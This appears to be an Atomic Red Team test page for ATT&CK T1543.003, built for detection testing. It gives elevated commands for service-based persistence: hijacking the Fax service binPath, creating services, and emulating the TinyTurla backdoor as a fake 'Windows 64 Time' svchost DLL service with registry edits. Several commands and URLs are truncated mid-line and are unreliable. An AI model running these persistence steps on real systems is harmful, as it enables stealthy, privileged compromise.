



T1543.003 - Windows Service

Description from ATT&CK

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.

Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.

Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: .sys) to disk, the payload can be loaded and registered via [Native API](#) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](#)), or by using command-line utilities such as `PnPutil.exe` .(Citation: Symantec W.32 Stuxnet Dossier) (Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020)

Adversaries may leverage these drivers as [Rootkits](#) to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of [Exploitation for Privilege Escalation](#).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](#). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](#) (ex: using a service and/or payload name related to a legitimate OS or benign software component).

Atomic Tests

- [Atomic Test #1 - Modify Fax service to run PowerShell](#)
- [Atomic Test #2 - Service Installation CMD](#)
- [Atomic Test #3 - Service Installation PowerShell](#)
- [Atomic Test #4 - TinyTurla backdoor service w64time](#)

Atomic Test #1 - Modify Fax service to run PowerShell

This test will temporarily modify the service Fax by changing the binPath to PowerShell and will then revert the binPath change, restoring Fax to its original state. Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.

Supported Platforms: Windows

auto_generated_guid: ed366cde-7d12-49df-a833-671904770b9f

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe"
sc start Fax
```

Cleanup Commands:

```
sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul 2>&1
```



Atomic Test #2 - Service Installation CMD

Download an executable from github and start it as a service. Upon successful execution, powershell will download AtomicService.exe from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.

Supported Platforms: Windows

auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6

Inputs:

Name	Description	Type	Default Value
binary_path	Name of the service binary, include path.	Path	PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
service_name	Name of the Service	String	AtomicTestService_CMD

Attack Commands: Run with command_prompt ! Elevation Required (e.g. root or admin)

```
sc.exe create #{service_name} binPath= #{binary_path}
sc.exe start #{service_name}
```



Cleanup Commands:

```
sc.exe stop #{service_name} >nul 2>&1
sc.exe delete #{service_name} >nul 2>&1
```



Dependencies: Run with powershell !

Description: Service binary must exist on disk at specified location ({binary_path})

Check Prereq Commands:

```
if (Test-Path #{binary_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic"
```

Atomic Test #3 - Service Installation PowerShell

Installs A Local Service via PowerShell. Upon successful execution, powershell will download AtomicService.exe from github. Powershell will then use New-Service and Start-Service to start service. Results will be displayed.

Supported Platforms: Windows

auto_generated_guid: 491a4af6-a521-4b74-b23b-f7b3f1ee9e77

Inputs:

Name	Description	Type	Default Value
binary_path	Name of the service binary, include path.	Path	PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
service_name	Name of the Service	String	AtomicTestService_PowerShell

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"  
Start-Service -Name "#{service_name}"
```



Cleanup Commands:

```
Stop-Service -Name "#{service_name}" 2>&1 | Out-Null  
try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}  
catch {}
```



Dependencies: Run with **powershell** !

Description: Service binary must exist on disk at specified location (#{binary_path})

Check Prereq Commands:

```
if (Test-Path #{binary_path}) {exit 0} else {exit 1}
```



Get Prereq Commands:

```
New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null  
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic"
```



Atomic Test #4 - TinyTurla backdoor service w64time

It's running DLL as service to emulate the tine turla backdoor

[Related Talos Blog](#)

Supported Platforms: Windows

auto_generated_guid: ef0581fd-528e-4662-87bc-4c2affb86940

Inputs:

Name	Description	Type	Default Value
dllfilename	It specifies Dll file to run as service	string	\$PathToAtomicFolder\T1543.003\bin\w64time.dll

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
copy #{dllfilename} %systemroot%\system32\
sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= :
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll ,
sc start W64Time
```

Cleanup Commands:

```
sc stop W64Time
sc.exe delete W64Time
del %systemroot%\system32\w64time.dll
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeServ:
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceD:
```